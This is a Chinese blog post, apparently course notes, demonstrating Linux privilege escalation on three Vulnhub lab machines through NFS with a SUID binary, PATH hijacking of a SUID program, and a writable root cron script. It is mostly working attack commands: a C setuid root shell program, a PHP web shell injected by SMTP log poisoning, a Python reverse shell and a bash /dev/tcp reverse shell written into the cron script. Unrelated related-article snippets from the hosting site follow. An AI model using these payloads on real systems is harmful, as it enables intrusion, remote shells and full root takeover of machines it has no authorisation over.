权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID

news2024/11/23 15:32:50

知识点

1、Web或普通用户到Linux-服务安全配合SUID-NFS
2、普通用户到Linux-环境变量配合SUID-$PATH
3、Web或普通用户到Linux-计划任务权限不当-Cron

章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

Linux提权

1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

前提条件:NFS端口服务开启和web或用户权限进行利用

1、信息收集

nmap 192.168.1.6

在这里插入图片描述

http://192.168.1.6/file.php?file=/etc/passwd

在这里插入图片描述

2、NFS服务利用

showmount -e 192.168.1.6 
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

在这里插入图片描述

mkdir nfs  //本地kali创建一个nfs目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs  //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、配合SUID提权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

find / -perm -u=s -type f 2>/dev/null  //查看本地suid权限的文件

在这里插入图片描述
在这里插入图片描述

两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

在这里插入图片描述

gcc getroot.c -o getroot
//把getroot.c编译为getroot可执行文件

在这里插入图片描述

cp getroot /root/nfs  //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot   //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs     //目标机来到/mnt/nfs目录下
./getroot       //目标机执行getroot文件触发shell

在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")'  //python起一个交互式终端

在这里插入图片描述
或者直接

getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami");  //whoami就是要执行的命令
}

在这里插入图片描述

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量

复现环境:https://www.vulnhub.com/entry/symfonos-1,322/

前提条件:存在SUID的应用中能执行额外命令加用户权限

1、信息收集

在这里插入图片描述

smbclient -L 192.168.139.153

在这里插入图片描述
在这里插入图片描述

2、权限获取

smbclient //192.168.139.153/anonymous

在这里插入图片描述
在这里插入图片描述

smbclient //192.168.139.153/helios -U helios
helios \ qwerty

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、漏洞利用

wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

在这里插入图片描述
在这里插入图片描述

searchsploit mail masta 1.0  //利用searchsploit搜索mail漏洞或者百度关键字

在这里插入图片描述
在这里插入图片描述


http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

在这里插入图片描述

telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

在这里插入图片描述

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

4、权限提升

python -c 'import pty;pty.spawn("/bin/bash")'  //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null  //查看当前环境suid

在这里插入图片描述

strings /opt/statuscheck  //查看这个文件的内容,寻找有用信息

在这里插入图片描述

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

/opt/statuscheck

在这里插入图片描述

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务

复现环境:https://www.vulnhub.com/entry/jarbas-1,232/
在这里插入图片描述
前提条件:Web或用户权限进行查看,任务文件可修改

1、信息收集

http://192.168.139.152/access.html

在这里插入图片描述

2、权限获取

http://192.168.139.152:8080/

在这里插入图片描述
Jenkins创建任务,添加反弹,立即构建
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、权限提升

cat /etc/crontab //查看当前服务器的计划任务

在这里插入图片描述

ls -lia /etc/script/CleaningScript.sh  //查看对该任务文件的权限

在这里插入图片描述

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh   //查看脚本内容

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1558241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DBeaver Ultimate Edtion 24 for Linux deb (sysin) - 通用数据库工具

DBeaver Ultimate Edtion 24 for Linux deb (sysin) - 通用数据库工具 One tool for all data sources 请访问原文链接&#xff1a;https://sysin.org/blog/dbeaver-linux/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 通用…

音视频开发之旅(80)- AI数字人-腾讯开源AniPortrait-音频驱动的肖像动画

目录 1、前言 2、效果展示 3、原理学习 4、遇到的问题与解决方案 5、资料 一、前言 一个月前阿里Emo发布&#xff0c;通过音频驱动的非常自然的肖像视频&#xff0c;引起很大反响。具体看下面的视频&#xff0c;但是并没有开源其代码。 这两天腾讯开源了其音频驱动的肖像…

应急物资管理系统|实现应急物资的全生命周期管理和监控

应急物资管理系统是一种现代化、智能化、可视化的物资管理平台&#xff0c;主要用于实现对应急物资的全生命周期管理和监控&#xff0c;并提供可靠的应急响应支持。 应急物资管理系统功能 准入控制&#xff1a;东识应急物资管理系统可以实现准入控制&#xff0c;确保只有经过授…

【微服务】spring状态机模式使用详解

一、前言 在很多系统中&#xff0c;通常会涉及到某个业务需要进行各种状态的切换操作&#xff0c;例如在审批流程场景下&#xff0c;某个审批的向下流转需要依赖于上一个状态的结束&#xff0c;再比如电商购物场景中&#xff0c;一个订单的生命周期往往伴随着不同的状态&#…

GEE23:基于植被物候实现农作物分类

地物分类 1. 写在前面2. 北京作物分类 1. 写在前面 今天分享一个有意思的文章&#xff0c;用于进行农作物分类。文章提出了一个灵活的物候辅助监督水稻(PSPR)制图框架。主要是通过提取植被物候&#xff0c;并自动对物候数据进行采样&#xff0c;获得足够多的样本点&#xff0c;…

LLM--提示词Propmt的概念、作用及如何设计提示词

文章目录 1. 什么是提示词&#xff1f;2. 提示词的作用3. 如何设计提示词&#xff1f;3.1. 提供详细的信息3.2. 指定角色3.3. 使用分隔符和特殊符号3.4. 提供示例3.5. 少量示例的思维链&#xff08;COT&#xff09;模型3.6. 思维树&#xff08;TOT&#xff09;模型3.7. 自洽性 …

牛角工具箱源码 轻松打造个性化在线工具箱

&#x1f389; Whats this&#xff1f; 这是一款在线工具箱程序&#xff0c;您可以通过安装扩展增强她的功能 通过插件模板的功能&#xff0c;您也可以把她当做网页导航来使用~ 觉得该项目不错的可以给个Star~ &#x1f63a; 演示地址 https://tool.aoaostar.com &#x1f…

京东云免费服务器申请入口,2024年最新免费云主机

京东云服务器免费6月申请入口 jdyfwq.com 在京东云免费云主机申请页面&#xff0c;免费云服务器配置为云主机2核4G5M和轻量云主机2C2G可以申请免费使用&#xff0c;目前京东云免费云服务器申请时长从之前的6个月缩短到1个月&#xff0c;如下图&#xff1a; 京东云免费云主机 云…

如何通过cookie来区分这是瑞数反爬的几代

一、以下仅个人观点&#xff0c;可能有误 1、瑞数反爬了解 瑞数反爬&#xff1a;大多数首次不带cookie的请求&#xff0c;响应状态码是202/412瑞数的cookie &#xff1a; 我们看PPT结尾的Cookie的来定位是几代&#xff0c;PT的是js生成的&#xff1b; 不看OS的&#xff0c;OS…

C语言使用STM32开发板手搓高端家居洗衣机

目录 概要 成品效果 背景概述 1.开发环境 2.主要传感器。 技术细节 1. 用户如何知道选择了何种功能 2.启动后如何进行洗衣 3.如何将洗衣机状态上传至服务器并通过APP查看 4.洗衣过程、可燃气检测、OLED屏显示、服务器通信如何并发进行 小结 概要 本文章主要是讲解如…

物联网学习1、什么是 MQTT?

MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级、基于发布-订阅模式的消息传输协议&#xff0c;适用于资源受限的设备和低带宽、高延迟或不稳定的网络环境。它在物联网应用中广受欢迎&#xff0c;能够实现传感器、执行器和其它设备之间的高效通…

【Monero】Wallet RPC | Wallet CLI | 门罗币命令行查询余额、种子、地址等命令方法教程

ubuntu22.04 首先在运行daemon&#xff0c;详细安装运行教程可参考&#xff1a;The Monero daemon (monerod) ./monerodWallet CLI run ./monero-wallet-cli如果还没有钱包就根据提示创建钱包即可 输入密码 查询余额 balance查询种子 seed其他可执行命令操作&#xff1…

Linux:查看系统各个组件性能的方法

查看cpu top 还有更为直观的 htop 可以同时看到&#xff0c;内存占用&#xff0c;cpu占用&#xff0c;交换内存的占用 vmstat 是比较综合的可以看到内存&#xff0c;交换内存&#xff0c;io吞吐&#xff0c;系统&#xff0c;cpu 查看内存 free -h 可以看懂内存的使用情况 …

企业知识库搭建不再是难题,靠这几个软件就可以了

在当今知识为王的时代&#xff0c;具备一套强大且实用的企业知识库&#xff08;Knowledge Base&#xff09;已成为提升工作效率、促进团队合作不可或缺的工具。那么&#xff0c;问题来了&#xff0c;我们该如何搭建一套属于自己的知识库呢&#xff1f;今天&#xff0c;我就给大…

Spring IoCDI(3)

DI详解 接下来学习一下依赖注入DI的细节. 依赖注入是一个过程, 是指IoC容器在创建Bean时, 去提供运行时所依赖的资源, 而资源指的就是对象. 在之前的案例中, 使用了Autowired这个注解, 完成了依赖注入这个操作. 简单来说, 就是把对象取出来放到某个类的属性中. 在一些文章中…

C++学习随笔(8)——模板初阶

本章我们来学习一下C的模版部分&#xff01; 目录 1. 泛型编程 2. 函数模板 2.1 函数模板概念 2.1 函数模板格式 2.3 函数模板的原理 2.4 函数模板的实例化 2.5 模板参数的匹配原则 3. 类模板 3.1 类模板的定义格式 3.2 类模板的实例化 1. 泛型编程 如何实现一个通…

【C++】为什么能实现函数重载

从C语言一路学到C的途中&#xff0c;C语言C语言相比&#xff0c;多了个函数重载&#xff0c;那么函数重载是如何实现的呢&#xff0c;为什么C语言无法支持&#xff0c;在本篇博客中&#xff0c;将会讲解C为何能实现函数重载。 一.编译过程 C能实现函数重载&#xff0c;而C语言不…

CloudFlare WARP+ 无限流量

Cloudflare WARP 是一种由 Cloudflare 提供的虚拟专用网络&#xff08;VPN&#xff09;服务&#xff0c;旨在提供更安全、更快速的互联网连接。WARP 的目标是通过使用 Cloudflare 的全球网络基础设施来加密和保护用户的互联网流量&#xff0c;并且通过优化路由和连接&#xff0…

012_control_flow_in_Matlab中的控制流

Matlab中的控制流 虽然&#xff0c;我们说Matlab中的计算是向量化的&#xff0c;但是在某些情况下&#xff0c;作为一个“程序设计语言”&#xff0c;Matlab也提供了一些控制流结构&#xff0c;来帮助我们实现一些复杂的逻辑。 我会在介绍控制流的时候&#xff0c;提醒如何用…

Spark源码(二)-Netty简介

一、Netty简介 Netty 是一个异步事件驱动的网络通信应用框架&#xff0c;用于快速开发可维护的高性能服务器和客户端。简单地说Netty封装了JDK的NIO&#xff0c;不用再写一大堆复杂的代码&#xff0c;从NIO各种繁复的细节中脱离出来&#xff0c;让开发者重点关心业务逻辑。 二…